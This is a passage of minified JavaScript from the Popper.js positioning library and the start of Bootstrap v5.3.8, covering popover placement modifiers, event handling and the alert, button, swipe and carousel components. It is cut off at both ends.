e.top=V(i.top,e.top),e.right=z(i.right,e.right),e.bottom=z(i.bottom,e.bottom),e.left=V(i.left,e.left),e},Ot(t,s,n));return a.width=a.right-a.left,a.height=a.bottom-a.top,a.x=a.left,a.y=a.top,a}function Nt(t){var e,r=t.reference,n=t.element,i=t.placement,o=i?Z(i):null,s=i?gt(i):null,a=r.x+r.width/2-n.width/2,l=r.y+r.height/2-n.height/2;switch(o){case y:e={x:a,y:r.y-n.height};break;case v:e={x:a,y:r.y+r.height};break;case x:e={x:r.x+r.width,y:l};break;case w:e={x:r.x-n.width,y:l};break;default:e={x:r.x,y:r.y}}var c=o?ut(o):null;if(null!=c){var u=\"y\"===c?\"height\":\"width\";switch(s){case C:e[c]=e[c]-(r[u]/2-n[u]/2);break;case I:e[c]=e[c]+(r[u]/2-n[u]/2)}}return e}function Ft(t,e){void 0===e&&(e={});var r=e,n=r.placement,i=void 0===n?t.placement:n,o=r.strategy,s=void 0===o?t.strategy:o,a=r.boundary,l=void 0===a?S:a,c=r.rootBoundary,u=void 0===c?E:c,d=r.elementContext,p=void 0===d?D:d,m=r.altBoundary,h=void 0!==m&&m,g=r.padding,f=void 0===g?0:g,b=pt(\"number\"!=typeof f?f:mt(f,k)),A=p===D?B:D,w=t.rects.popper,_=t.elements[h?A:p],C=Tt(H(_)?_:_.contextElement||st(t.elements.popper),l,u,s),I=et(t.elements.reference),O=Nt({reference:I,element:w,strategy:\"absolute\",placement:i}),T=Bt(Object.assign({},w,O)),N=p===D?T:I,F={top:C.top-N.top+b.top,bottom:N.bottom-C.bottom+b.bottom,left:C.left-N.left+b.left,right:N.right-C.right+b.right},M=t.modifiersData.offset;if(p===D&&M){var j=M[i];Object.keys(F).forEach(function(t){var e=[x,v].indexOf(t)>=0?1:-1,r=[y,v].indexOf(t)>=0?\"y\":\"x\";F[t]+=j[r]*e})}return F}const Mt={name:\"flip\",enabled:!0,phase:\"main\",fn:function(t){var e=t.state,r=t.options,n=t.name;if(!e.modifiersData[n]._skip){for(var i=r.mainAxis,o=void 0===i||i,s=r.altAxis,a=void 0===s||s,l=r.fallbackPlacements,c=r.padding,u=r.boundary,d=r.rootBoundary,p=r.altBoundary,m=r.flipVariations,h=void 0===m||m,g=r.allowedAutoPlacements,f=e.options.placement,b=Z(f),A=l||(b===f||!h?[wt(f)]:function(t){if(Z(t)===_)return[];var e=wt(t);return[kt(t),e,kt(e)]}(f)),I=[f].concat(A).reduce(function(t,r){return t.concat(Z(r)===_?function(t,e){void 0===e&&(e={});var r=e,n=r.placement,i=r.boundary,o=r.rootBoundary,s=r.padding,a=r.flipVariations,l=r.allowedAutoPlacements,c=void 0===l?T:l,u=gt(n),d=u?a?O:O.filter(function(t){return gt(t)===u}):k,p=d.filter(function(t){return c.indexOf(t)>=0});0===p.length&&(p=d);var m=p.reduce(function(e,r){return e[r]=Ft(t,{placement:r,boundary:i,rootBoundary:o,padding:s})[Z(r)],e},{});return Object.keys(m).sort(function(t,e){return m[t]-m[e]})}(e,{placement:r,boundary:u,rootBoundary:d,padding:c,flipVariations:h,allowedAutoPlacements:g}):r)},[]),S=e.rects.reference,E=e.rects.popper,D=new Map,B=!0,N=I[0],F=0;F<I.length;F++){var M=I[F],j=Z(M),P=gt(M)===C,R=[y,v].indexOf(j)>=0,L=R?\"width\":\"height\",Q=Ft(e,{placement:M,boundary:u,rootBoundary:d,altBoundary:p,padding:c}),G=R?P?x:w:P?v:y;S[L]>E[L]&&(G=wt(G));var W=wt(G),U=[];if(o&&U.push(Q[j]<=0),a&&U.push(Q[G]<=0,Q[W]<=0),U.every(function(t){return t})){N=M,B=!1;break}D.set(M,U)}if(B)for(var K=function(t){var e=I.find(function(e){var r=D.get(e);if(r)return r.slice(0,t).every(function(t){return t})});if(e)return N=e,\"break\"},H=h?3:1;H>0;H--){if(\"break\"===K(H))break}e.placement!==N&&(e.modifiersData[n]._skip=!0,e.placement=N,e.reset=!0)}},requiresIfExists:[\"offset\"],data:{_skip:!1}};function jt(t,e,r){return void 0===r&&(r={x:0,y:0}),{top:t.top-e.height-r.y,right:t.right-e.width+r.x,bottom:t.bottom-e.height+r.y,left:t.left-e.width-r.x}}function Pt(t){return[y,x,v,w].some(function(e){return t[e]>=0})}const Rt={name:\"hide\",enabled:!0,phase:\"main\",requiresIfExists:[\"preventOverflow\"],fn:function(t){var e=t.state,r=t.name,n=e.rects.reference,i=e.rects.popper,o=e.modifiersData.preventOverflow,s=Ft(e,{elementContext:\"reference\"}),a=Ft(e,{altBoundary:!0}),l=jt(s,n),c=jt(a,i,o),u=Pt(l),d=Pt(c);e.modifiersData[r]={referenceClippingOffsets:l,popperEscapeOffsets:c,isReferenceHidden:u,hasPopperEscaped:d},e.attributes.popper=Object.assign({},e.attributes.popper,{\"data-popper-reference-hidden\":u,\"data-popper-escaped\":d})}};const Lt={name:\"offset\",enabled:!0,phase:\"main\",requires:[\"popperOffsets\"],fn:function(t){var e=t.state,r=t.options,n=t.name,i=r.offset,o=void 0===i?[0,0]:i,s=T.reduce(function(t,r){return t[r]=function(t,e,r){var n=Z(t),i=[w,y].indexOf(n)>=0?-1:1,o=\"function\"==typeof r?r(Object.assign({},e,{placement:t})):r,s=o[0],a=o[1];return s=s||0,a=(a||0)*i,[w,x].indexOf(n)>=0?{x:a,y:s}:{x:s,y:a}}(r,e.rects,o),t},{}),a=s[e.placement],l=a.x,c=a.y;null!=e.modifiersData.popperOffsets&&(e.modifiersData.popperOffsets.x+=l,e.modifiersData.popperOffsets.y+=c),e.modifiersData[n]=s}};const Qt={name:\"popperOffsets\",enabled:!0,phase:\"read\",fn:function(t){var e=t.state,r=t.name;e.modifiersData[r]=Nt({reference:e.rects.reference,element:e.rects.popper,strategy:\"absolute\",placement:e.placement})},data:{}};const Gt={name:\"preventOverflow\",enabled:!0,phase:\"main\",fn:function(t){var e=t.state,r=t.options,n=t.name,i=r.mainAxis,o=void 0===i||i,s=r.altAxis,a=void 0!==s&&s,l=r.boundary,c=r.rootBoundary,u=r.altBoundary,d=r.padding,p=r.tether,m=void 0===p||p,h=r.tetherOffset,g=void 0===h?0:h,f=Ft(e,{boundary:l,rootBoundary:c,padding:d,altBoundary:u}),b=Z(e.placement),A=gt(e.placement),_=!A,k=ut(b),I=\"x\"===k?\"y\":\"x\",S=e.modifiersData.popperOffsets,E=e.rects.reference,D=e.rects.popper,B=\"function\"==typeof g?g(Object.assign({},e.rects,{placement:e.placement})):g,O=\"number\"==typeof B?{mainAxis:B,altAxis:B}:Object.assign({mainAxis:0,altAxis:0},B),T=e.modifiersData.offset?e.modifiersData.offset[e.placement]:null,N={x:0,y:0};if(S){if(o){var F,M=\"y\"===k?y:w,j=\"y\"===k?v:x,P=\"y\"===k?\"height\":\"width\",R=S[k],L=R+f[M],Q=R-f[j],G=m?-D[P]/2:0,W=A===C?E[P]:D[P],U=A===C?-D[P]:-E[P],K=e.elements.arrow,H=m&&K?rt(K):{width:0,height:0},Y=e.modifiersData[\"arrow#persistent\"]?e.modifiersData[\"arrow#persistent\"].padding:{top:0,right:0,bottom:0,left:0},J=Y[M],q=Y[j],X=dt(0,E[P],H[P]),$=_?E[P]/2-G-X-J-O.mainAxis:W-X-J-O.mainAxis,tt=_?-E[P]/2+G+X+q+O.mainAxis:U+X+q+O.mainAxis,et=e.elements.arrow&&ct(e.elements.arrow),nt=et?\"y\"===k?et.clientTop||0:et.clientLeft||0:0,it=null!=(F=null==T?void 0:T[k])?F:0,ot=R+tt-it,st=dt(m?z(L,R+$-it-nt):L,R,m?V(Q,ot):Q);S[k]=st,N[k]=st-R}if(a){var at,lt=\"x\"===k?y:w,pt=\"x\"===k?v:x,mt=S[I],ht=\"y\"===I?\"height\":\"width\",ft=mt+f[lt],bt=mt-f[pt],At=-1!==[y,w].indexOf(b),yt=null!=(at=null==T?void 0:T[I])?at:0,vt=At?ft:mt-E[ht]-D[ht]-yt+O.altAxis,xt=At?mt+E[ht]+D[ht]-yt-O.altAxis:bt,wt=m&&At?function(t,e,r){var n=dt(t,e,r);return n>r?r:n}(vt,mt,xt):dt(m?vt:ft,mt,m?xt:bt);S[I]=wt,N[I]=wt-mt}e.modifiersData[n]=N}},requiresIfExists:[\"offset\"]};function Wt(t,e,r){void 0===r&&(r=!1);var n,i,o=Y(e),s=Y(e)&&function(t){var e=t.getBoundingClientRect(),r=X(e.width)/t.offsetWidth||1,n=X(e.height)/t.offsetHeight||1;return 1!==r||1!==n}(e),a=st(e),l=et(t,s,r),c={scrollLeft:0,scrollTop:0},u={x:0,y:0};return(o||!o&&!r)&&((\"body\"!==U(e)||St(a))&&(c=(n=e)!==K(n)&&Y(n)?{scrollLeft:(i=n).scrollLeft,scrollTop:i.scrollTop}:Ct(n)),Y(e)?((u=et(e,!0)).x+=e.clientLeft,u.y+=e.clientTop):a&&(u.x=It(a))),{x:l.left+c.scrollLeft-u.x,y:l.top+c.scrollTop-u.y,width:l.width,height:l.height}}function Ut(t){var e=new Map,r=new Set,n=[];function i(t){r.add(t.name),[].concat(t.requires||[],t.requiresIfExists||[]).forEach(function(t){if(!r.has(t)){var n=e.get(t);n&&i(n)}}),n.push(t)}return t.forEach(function(t){e.set(t.name,t)}),t.forEach(function(t){r.has(t.name)||i(t)}),n}var Kt={placement:\"bottom\",modifiers:[],strategy:\"absolute\"};function Ht(){for(var t=arguments.length,e=new Array(t),r=0;r<t;r++)e[r]=arguments[r];return!e.some(function(t){return!(t&&\"function\"==typeof t.getBoundingClientRect)})}function Yt(t){void 0===t&&(t={});var e=t,r=e.defaultModifiers,n=void 0===r?[]:r,i=e.defaultOptions,o=void 0===i?Kt:i;return function(t,e,r){void 0===r&&(r=o);var i,s,a={placement:\"bottom\",orderedModifiers:[],options:Object.assign({},Kt,o),modifiersData:{},elements:{reference:t,popper:e},attributes:{},styles:{}},l=[],c=!1,u={state:a,setOptions:function(r){var i=\"function\"==typeof r?r(a.options):r;d(),a.options=Object.assign({},o,a.options,i),a.scrollParents={reference:H(t)?Dt(t):t.contextElement?Dt(t.contextElement):[],popper:Dt(e)};var s,c,p=function(t){var e=Ut(t);return W.reduce(function(t,r){return t.concat(e.filter(function(t){return t.phase===r}))},[])}((s=[].concat(n,a.options.modifiers),c=s.reduce(function(t,e){var r=t[e.name];return t[e.name]=r?Object.assign({},r,e,{options:Object.assign({},r.options,e.options),data:Object.assign({},r.data,e.data)}):e,t},{}),Object.keys(c).map(function(t){return c[t]})));return a.orderedModifiers=p.filter(function(t){return t.enabled}),a.orderedModifiers.forEach(function(t){var e=t.name,r=t.options,n=void 0===r?{}:r,i=t.effect;if(\"function\"==typeof i){var o=i({state:a,name:e,instance:u,options:n}),s=function(){};l.push(o||s)}}),u.update()},forceUpdate:function(){if(!c){var t=a.elements,e=t.reference,r=t.popper;if(Ht(e,r)){a.rects={reference:Wt(e,ct(r),\"fixed\"===a.options.strategy),popper:rt(r)},a.reset=!1,a.placement=a.options.placement,a.orderedModifiers.forEach(function(t){return a.modifiersData[t.name]=Object.assign({},t.data)});for(var n=0;n<a.orderedModifiers.length;n++)if(!0!==a.reset){var i=a.orderedModifiers[n],o=i.fn,s=i.options,l=void 0===s?{}:s,d=i.name;\"function\"==typeof o&&(a=o({state:a,options:l,name:d,instance:u})||a)}else a.reset=!1,n=-1}}},update:(i=function(){return new Promise(function(t){u.forceUpdate(),t(a)})},function(){return s||(s=new Promise(function(t){Promise.resolve().then(function(){s=void 0,t(i())})})),s}),destroy:function(){d(),c=!0}};if(!Ht(t,e))return u;function d(){l.forEach(function(t){return t()}),l=[]}return u.setOptions(r).then(function(t){!c&&r.onFirstUpdate&&r.onFirstUpdate(t)}),u}}var Jt=Yt(),qt=Yt({defaultModifiers:[vt,Qt,At,q,Lt,Mt,Gt,ht,Rt]}),Zt=Yt({defaultModifiers:[vt,Qt,At,q]});\n/*!\n  * Bootstrap v5.3.8 (https://getbootstrap.com/)\n  * Copyright 2011-2025 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors)\n  * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n  */\nconst Vt=new Map,zt={set(t,e,r){Vt.has(t)||Vt.set(t,new Map);const n=Vt.get(t);n.has(e)||0===n.size?n.set(e,r):console.error(`Bootstrap doesn't allow more than one instance per element. Bound instance: ${Array.from(n.keys())[0]}.`)},get:(t,e)=>Vt.has(t)&&Vt.get(t).get(e)||null,remove(t,e){if(!Vt.has(t))return;const r=Vt.get(t);r.delete(e),0===r.size&&Vt.delete(t)}},Xt=\"transitionend\",$t=t=>(t&&window.CSS&&window.CSS.escape&&(t=t.replace(/#([^\\s\"#']+)/g,(t,e)=>`#${CSS.escape(e)}`)),t),te=t=>null==t?`${t}`:Object.prototype.toString.call(t).match(/\\s([a-z]+)/i)[1].toLowerCase(),ee=t=>{t.dispatchEvent(new Event(Xt))},re=t=>!(!t||\"object\"!=typeof t)&&(void 0!==t.jquery&&(t=t[0]),void 0!==t.nodeType),ne=t=>re(t)?t.jquery?t[0]:t:\"string\"==typeof t&&t.length>0?document.querySelector($t(t)):null,ie=t=>{if(!re(t)||0===t.getClientRects().length)return!1;const e=\"visible\"===getComputedStyle(t).getPropertyValue(\"visibility\"),r=t.closest(\"details:not([open])\");if(!r)return e;if(r!==t){const e=t.closest(\"summary\");if(e&&e.parentNode!==r)return!1;if(null===e)return!1}return e},oe=t=>!t||t.nodeType!==Node.ELEMENT_NODE||(!!t.classList.contains(\"disabled\")||(void 0!==t.disabled?t.disabled:t.hasAttribute(\"disabled\")&&\"false\"!==t.getAttribute(\"disabled\"))),se=t=>{if(!document.documentElement.attachShadow)return null;if(\"function\"==typeof t.getRootNode){const e=t.getRootNode();return e instanceof ShadowRoot?e:null}return t instanceof ShadowRoot?t:t.parentNode?se(t.parentNode):null},ae=()=>{},le=t=>{t.offsetHeight},ce=()=>window.jQuery&&!document.body.hasAttribute(\"data-bs-no-jquery\")?window.jQuery:null,ue=[],de=()=>\"rtl\"===document.documentElement.dir,pe=t=>{var e;e=()=>{const e=ce();if(e){const r=t.NAME,n=e.fn[r];e.fn[r]=t.jQueryInterface,e.fn[r].Constructor=t,e.fn[r].noConflict=()=>(e.fn[r]=n,t.jQueryInterface)}},\"loading\"===document.readyState?(ue.length||document.addEventListener(\"DOMContentLoaded\",()=>{for(const t of ue)t()}),ue.push(e)):e()},me=(t,e=[],r=t)=>\"function\"==typeof t?t.call(...e):r,he=(t,e,r=!0)=>{if(!r)return void me(t);const n=(t=>{if(!t)return 0;let{transitionDuration:e,transitionDelay:r}=window.getComputedStyle(t);const n=Number.parseFloat(e),i=Number.parseFloat(r);return n||i?(e=e.split(\",\")[0],r=r.split(\",\")[0],1e3*(Number.parseFloat(e)+Number.parseFloat(r))):0})(e)+5;let i=!1;const o=({target:r})=>{r===e&&(i=!0,e.removeEventListener(Xt,o),me(t))};e.addEventListener(Xt,o),setTimeout(()=>{i||ee(e)},n)},ge=(t,e,r,n)=>{const i=t.length;let o=t.indexOf(e);return-1===o?!r&&n?t[i-1]:t[0]:(o+=r?1:-1,n&&(o=(o+i)%i),t[Math.max(0,Math.min(o,i-1))])},fe=/[^.]*(?=\\..*)\\.|.*/,be=/\\..*/,Ae=/::\\d+$/,ye={};let ve=1;const xe={mouseenter:\"mouseover\",mouseleave:\"mouseout\"},we=new Set([\"click\",\"dblclick\",\"mouseup\",\"mousedown\",\"contextmenu\",\"mousewheel\",\"DOMMouseScroll\",\"mouseover\",\"mouseout\",\"mousemove\",\"selectstart\",\"selectend\",\"keydown\",\"keypress\",\"keyup\",\"orientationchange\",\"touchstart\",\"touchmove\",\"touchend\",\"touchcancel\",\"pointerdown\",\"pointermove\",\"pointerup\",\"pointerleave\",\"pointercancel\",\"gesturestart\",\"gesturechange\",\"gestureend\",\"focus\",\"blur\",\"change\",\"reset\",\"select\",\"submit\",\"focusin\",\"focusout\",\"load\",\"unload\",\"beforeunload\",\"resize\",\"move\",\"DOMContentLoaded\",\"readystatechange\",\"error\",\"abort\",\"scroll\"]);function _e(t,e){return e&&`${e}::${ve++}`||t.uidEvent||ve++}function ke(t){const e=_e(t);return t.uidEvent=e,ye[e]=ye[e]||{},ye[e]}function Ce(t,e,r=null){return Object.values(t).find(t=>t.callable===e&&t.delegationSelector===r)}function Ie(t,e,r){const n=\"string\"==typeof e,i=n?r:e||r;let o=Be(t);return we.has(o)||(o=t),[n,i,o]}function Se(t,e,r,n,i){if(\"string\"!=typeof e||!t)return;let[o,s,a]=Ie(e,r,n);if(e in xe){const t=t=>function(e){if(!e.relatedTarget||e.relatedTarget!==e.delegateTarget&&!e.delegateTarget.contains(e.relatedTarget))return t.call(this,e)};s=t(s)}const l=ke(t),c=l[a]||(l[a]={}),u=Ce(c,s,o?r:null);if(u)return void(u.oneOff=u.oneOff&&i);const d=_e(s,e.replace(fe,\"\")),p=o?function(t,e,r){return function n(i){const o=t.querySelectorAll(e);for(let{target:s}=i;s&&s!==this;s=s.parentNode)for(const a of o)if(a===s)return Te(i,{delegateTarget:s}),n.oneOff&&Oe.off(t,i.type,e,r),r.apply(s,[i])}}(t,r,s):function(t,e){return function r(n){return Te(n,{delegateTarget:t}),r.oneOff&&Oe.off(t,n.type,e),e.apply(t,[n])}}(t,s);p.delegationSelector=o?r:null,p.callable=s,p.oneOff=i,p.uidEvent=d,c[d]=p,t.addEventListener(a,p,o)}function Ee(t,e,r,n,i){const o=Ce(e[r],n,i);o&&(t.removeEventListener(r,o,Boolean(i)),delete e[r][o.uidEvent])}function De(t,e,r,n){const i=e[r]||{};for(const[o,s]of Object.entries(i))o.includes(n)&&Ee(t,e,r,s.callable,s.delegationSelector)}function Be(t){return t=t.replace(be,\"\"),xe[t]||t}const Oe={on(t,e,r,n){Se(t,e,r,n,!1)},one(t,e,r,n){Se(t,e,r,n,!0)},off(t,e,r,n){if(\"string\"!=typeof e||!t)return;const[i,o,s]=Ie(e,r,n),a=s!==e,l=ke(t),c=l[s]||{},u=e.startsWith(\".\");if(void 0===o){if(u)for(const r of Object.keys(l))De(t,l,r,e.slice(1));for(const[r,n]of Object.entries(c)){const i=r.replace(Ae,\"\");a&&!e.includes(i)||Ee(t,l,s,n.callable,n.delegationSelector)}}else{if(!Object.keys(c).length)return;Ee(t,l,s,o,i?r:null)}},trigger(t,e,r){if(\"string\"!=typeof e||!t)return null;const n=ce();let i=null,o=!0,s=!0,a=!1;e!==Be(e)&&n&&(i=n.Event(e,r),n(t).trigger(i),o=!i.isPropagationStopped(),s=!i.isImmediatePropagationStopped(),a=i.isDefaultPrevented());const l=Te(new Event(e,{bubbles:o,cancelable:!0}),r);return a&&l.preventDefault(),s&&t.dispatchEvent(l),l.defaultPrevented&&i&&i.preventDefault(),l}};function Te(t,e={}){for(const[r,n]of Object.entries(e))try{t[r]=n}catch(e){Object.defineProperty(t,r,{configurable:!0,get:()=>n})}return t}function Ne(t){if(\"true\"===t)return!0;if(\"false\"===t)return!1;if(t===Number(t).toString())return Number(t);if(\"\"===t||\"null\"===t)return null;if(\"string\"!=typeof t)return t;try{return JSON.parse(decodeURIComponent(t))}catch(e){return t}}function Fe(t){return t.replace(/[A-Z]/g,t=>`-${t.toLowerCase()}`)}const Me={setDataAttribute(t,e,r){t.setAttribute(`data-bs-${Fe(e)}`,r)},removeDataAttribute(t,e){t.removeAttribute(`data-bs-${Fe(e)}`)},getDataAttributes(t){if(!t)return{};const e={},r=Object.keys(t.dataset).filter(t=>t.startsWith(\"bs\")&&!t.startsWith(\"bsConfig\"));for(const n of r){let r=n.replace(/^bs/,\"\");r=r.charAt(0).toLowerCase()+r.slice(1),e[r]=Ne(t.dataset[n])}return e},getDataAttribute:(t,e)=>Ne(t.getAttribute(`data-bs-${Fe(e)}`))};class je{static get Default(){return{}}static get DefaultType(){return{}}static get NAME(){throw new Error('You have to implement the static method \"NAME\", for each component!')}_getConfig(t){return t=this._mergeConfigObj(t),t=this._configAfterMerge(t),this._typeCheckConfig(t),t}_configAfterMerge(t){return t}_mergeConfigObj(t,e){const r=re(e)?Me.getDataAttribute(e,\"config\"):{};return{...this.constructor.Default,...\"object\"==typeof r?r:{},...re(e)?Me.getDataAttributes(e):{},...\"object\"==typeof t?t:{}}}_typeCheckConfig(t,e=this.constructor.DefaultType){for(const[r,n]of Object.entries(e)){const e=t[r],i=re(e)?\"element\":te(e);if(!new RegExp(n).test(i))throw new TypeError(`${this.constructor.NAME.toUpperCase()}: Option \"${r}\" provided type \"${i}\" but expected type \"${n}\".`)}}}class Pe extends je{constructor(t,e){super(),(t=ne(t))&&(this._element=t,this._config=this._getConfig(e),zt.set(this._element,this.constructor.DATA_KEY,this))}dispose(){zt.remove(this._element,this.constructor.DATA_KEY),Oe.off(this._element,this.constructor.EVENT_KEY);for(const t of Object.getOwnPropertyNames(this))this[t]=null}_queueCallback(t,e,r=!0){he(t,e,r)}_getConfig(t){return t=this._mergeConfigObj(t,this._element),t=this._configAfterMerge(t),this._typeCheckConfig(t),t}static getInstance(t){return zt.get(ne(t),this.DATA_KEY)}static getOrCreateInstance(t,e={}){return this.getInstance(t)||new this(t,\"object\"==typeof e?e:null)}static get VERSION(){return\"5.3.8\"}static get DATA_KEY(){return`bs.${this.NAME}`}static get EVENT_KEY(){return`.${this.DATA_KEY}`}static eventName(t){return`${t}${this.EVENT_KEY}`}}const Re=t=>{let e=t.getAttribute(\"data-bs-target\");if(!e||\"#\"===e){let r=t.getAttribute(\"href\");if(!r||!r.includes(\"#\")&&!r.startsWith(\".\"))return null;r.includes(\"#\")&&!r.startsWith(\"#\")&&(r=`#${r.split(\"#\")[1]}`),e=r&&\"#\"!==r?r.trim():null}return e?e.split(\",\").map(t=>$t(t)).join(\",\"):null},Le={find:(t,e=document.documentElement)=>[].concat(...Element.prototype.querySelectorAll.call(e,t)),findOne:(t,e=document.documentElement)=>Element.prototype.querySelector.call(e,t),children:(t,e)=>[].concat(...t.children).filter(t=>t.matches(e)),parents(t,e){const r=[];let n=t.parentNode.closest(e);for(;n;)r.push(n),n=n.parentNode.closest(e);return r},prev(t,e){let r=t.previousElementSibling;for(;r;){if(r.matches(e))return[r];r=r.previousElementSibling}return[]},next(t,e){let r=t.nextElementSibling;for(;r;){if(r.matches(e))return[r];r=r.nextElementSibling}return[]},focusableChildren(t){const e=[\"a\",\"button\",\"input\",\"textarea\",\"select\",\"details\",\"[tabindex]\",'[contenteditable=\"true\"]'].map(t=>`${t}:not([tabindex^=\"-\"])`).join(\",\");return this.find(e,t).filter(t=>!oe(t)&&ie(t))},getSelectorFromElement(t){const e=Re(t);return e&&Le.findOne(e)?e:null},getElementFromSelector(t){const e=Re(t);return e?Le.findOne(e):null},getMultipleElementsFromSelector(t){const e=Re(t);return e?Le.find(e):[]}},Qe=(t,e=\"hide\")=>{const r=`click.dismiss${t.EVENT_KEY}`,n=t.NAME;Oe.on(document,r,`[data-bs-dismiss=\"${n}\"]`,function(r){if([\"A\",\"AREA\"].includes(this.tagName)&&r.preventDefault(),oe(this))return;const i=Le.getElementFromSelector(this)||this.closest(`.${n}`);t.getOrCreateInstance(i)[e]()})},Ge=\".bs.alert\",We=`close${Ge}`,Ue=`closed${Ge}`;class Ke extends Pe{static get NAME(){return\"alert\"}close(){if(Oe.trigger(this._element,We).defaultPrevented)return;this._element.classList.remove(\"show\");const t=this._element.classList.contains(\"fade\");this._queueCallback(()=>this._destroyElement(),this._element,t)}_destroyElement(){this._element.remove(),Oe.trigger(this._element,Ue),this.dispose()}static jQueryInterface(t){return this.each(function(){const e=Ke.getOrCreateInstance(this);if(\"string\"==typeof t){if(void 0===e[t]||t.startsWith(\"_\")||\"constructor\"===t)throw new TypeError(`No method named \"${t}\"`);e[t](this)}})}}Qe(Ke,\"close\"),pe(Ke);const He='[data-bs-toggle=\"button\"]';class Ye extends Pe{static get NAME(){return\"button\"}toggle(){this._element.setAttribute(\"aria-pressed\",this._element.classList.toggle(\"active\"))}static jQueryInterface(t){return this.each(function(){const e=Ye.getOrCreateInstance(this);\"toggle\"===t&&e[t]()})}}Oe.on(document,\"click.bs.button.data-api\",He,t=>{t.preventDefault();const e=t.target.closest(He);Ye.getOrCreateInstance(e).toggle()}),pe(Ye);const Je=\".bs.swipe\",qe=`touchstart${Je}`,Ze=`touchmove${Je}`,Ve=`touchend${Je}`,ze=`pointerdown${Je}`,Xe=`pointerup${Je}`,$e={endCallback:null,leftCallback:null,rightCallback:null},tr={endCallback:\"(function|null)\",leftCallback:\"(function|null)\",rightCallback:\"(function|null)\"};class er extends je{constructor(t,e){super(),this._element=t,t&&er.isSupported()&&(this._config=this._getConfig(e),this._deltaX=0,this._supportPointerEvents=Boolean(window.PointerEvent),this._initEvents())}static get Default(){return $e}static get DefaultType(){return tr}static get NAME(){return\"swipe\"}dispose(){Oe.off(this._element,Je)}_start(t){this._supportPointerEvents?this._eventIsPointerPenTouch(t)&&(this._deltaX=t.clientX):this._deltaX=t.touches[0].clientX}_end(t){this._eventIsPointerPenTouch(t)&&(this._deltaX=t.clientX-this._deltaX),this._handleSwipe(),me(this._config.endCallback)}_move(t){this._deltaX=t.touches&&t.touches.length>1?0:t.touches[0].clientX-this._deltaX}_handleSwipe(){const t=Math.abs(this._deltaX);if(t<=40)return;const e=t/this._deltaX;this._deltaX=0,e&&me(e>0?this._config.rightCallback:this._config.leftCallback)}_initEvents(){this._supportPointerEvents?(Oe.on(this._element,ze,t=>this._start(t)),Oe.on(this._element,Xe,t=>this._end(t)),this._element.classList.add(\"pointer-event\")):(Oe.on(this._element,qe,t=>this._start(t)),Oe.on(this._element,Ze,t=>this._move(t)),Oe.on(this._element,Ve,t=>this._end(t)))}_eventIsPointerPenTouch(t){return this._supportPointerEvents&&(\"pen\"===t.pointerType||\"touch\"===t.pointerType)}static isSupported(){return\"ontouchstart\"in document.documentElement||navigator.maxTouchPoints>0}}const rr=\".bs.carousel\",nr=\".data-api\",ir=\"ArrowLeft\",or=\"ArrowRight\",sr=\"next\",ar=\"prev\",lr=\"left\",cr=\"right\",ur=`slide${rr}`,dr=`slid${rr}`,pr=`keydown${rr}`,mr=`mouseenter${rr}`,hr=`mouseleave${rr}`,gr=`dragstart${rr}`,fr=`load${rr}${nr}`,br=`click${rr}${nr}`,Ar=\"carousel\",yr=\"active\",vr=\".active\",xr=\".carousel-item\",wr=vr+xr,_r={[ir]:cr,[or]:lr},kr={interval:5e3,keyboard:!0,pause:\"hover\",ride:!1,touch:!0,wrap:!0},Cr={interval:\"(number|boolean)\",keyboard:\"boolean\",pause:\"(string|boolean)\",ride:\"(boolean|string)\",touch:\"boolean\",wrap:\"boolean\"};class Ir extends Pe{constructor(t,e){super(t,e),this._interval=null,this._activeElement=null,this._isSliding=!1,this.touchTimeout=null,this._swipeHelper=null,this._indicatorsElement=Le.findOne(\".carousel-indicators\",this._element),this._addEventListeners(),this._config.ride===Ar&&this.cycle()}static get Default(){return kr}static get DefaultType(){return Cr}static get NAME(){return\"carousel\"}next(){this._slide(sr)}nextWhenVisible(){!document.hidden&&ie(this._element)&&this.next()}prev(){this._slide(ar)}pause(){this._isSliding&&ee(this._element),this._clearInterval()}cycle(){this._clearInterval(),this._updateInterval(),this._interval=setInterval(()=>this.nextWhenVisible(),this._config.interval)}_maybeEnableCycle(){this._config.ride&&(this._isSliding?Oe.one(this._element,dr,()=>this.cycle()):this.cycle())}to(t){const e=this._getItems();if(t>e.length-1||t<0)return;if(this._isSliding)return void Oe.one(this._element,dr,()=>this.to(t));const r=this._getItemIndex(this._getActive());if(r===t)return;const n=t>r?sr:ar;this._slide(n,e[t])}dispose(){this._swipeHelper&&this._swipeHelper.dispose(),super.dispose()}_configAfterMerge(t){return t.defaultInterval=t.interval,t}_addEventListeners(){this._config.keyboard&&Oe.on(this._element,pr,t=>this._keydown(t)),\"hover\"===this._config.pause&&(Oe.on(this._element,mr,()=>this.pause()),Oe.on(this._element,hr,()=>this._maybeEnableCycle())),this._config.touch&&er.isSupported()&&this._addTouchEventListeners()}_addTouchEventListeners(){for(const t of Le.find(\".carousel-item img\",this._element))Oe.on(t,gr,t=>t.preventDefault());const t={leftCallback:()=>this._slide(this._directionToOrder(lr)),rightCallback:()=>this._slide(this._directionToOrder(cr)),endCallback:()=>{\"hover\"===this._config.pause&&(this.pause(),this.touchTimeout&&clearTimeout(this.touchTimeout),this.touchTimeout=setTimeout(()=>this._maybeEnableCycle(),500+this._config.interval))}};this._swipeHelper=new er(this._element,t)}_keydown(t){if(/input|textarea/i.test(t.target.tagName))return;const e=_r[t.key];e&&(t.preventDefault(),this._slide(this._directionToOrder(e)))}_getItemIndex(t){return this._getItems().indexOf(t)}_setActiveIndicatorElement(t){if(!this._indicatorsElement)return;const e=Le.findOne(vr,this._indicatorsElement);e.classList.remove(yr),e.removeAttribute(\"aria-current\");const r=Le.findOne(`[data-bs-slide-to=\"${t}\"]`,this._indicatorsElement);r&&(r.classList.add(yr),r.setAttribute(\"aria-current\",\"true\"))}_updateInterval(){const t=this._activeElement||this._getActive();if(!t)return;const e=Number.parseInt(t.getAttribute(\"data-bs-interval\"),10);this._config.interval=e||this._config.defaultInterval}_slide(t,e=null){if(this._isSliding)return;const r=this._getActive(),n=t===sr,i=e||ge(this._getItems(),r,n,this._config.wrap);if(i===r)return;const o=this._getItemIndex(i),s=e=>Oe.trigger(this._element,e,{relatedTarget:i,direction:this._orderToDirection(t),from:this._getItemIndex(r),to:o});if(s(ur).defaultPrevented)return;if(!r||!i)return;const a=Boolean(this._interval);this.pause(),this._isSliding=!0,this._setActiveIndicatorElement(o),this._activeElement=i;const 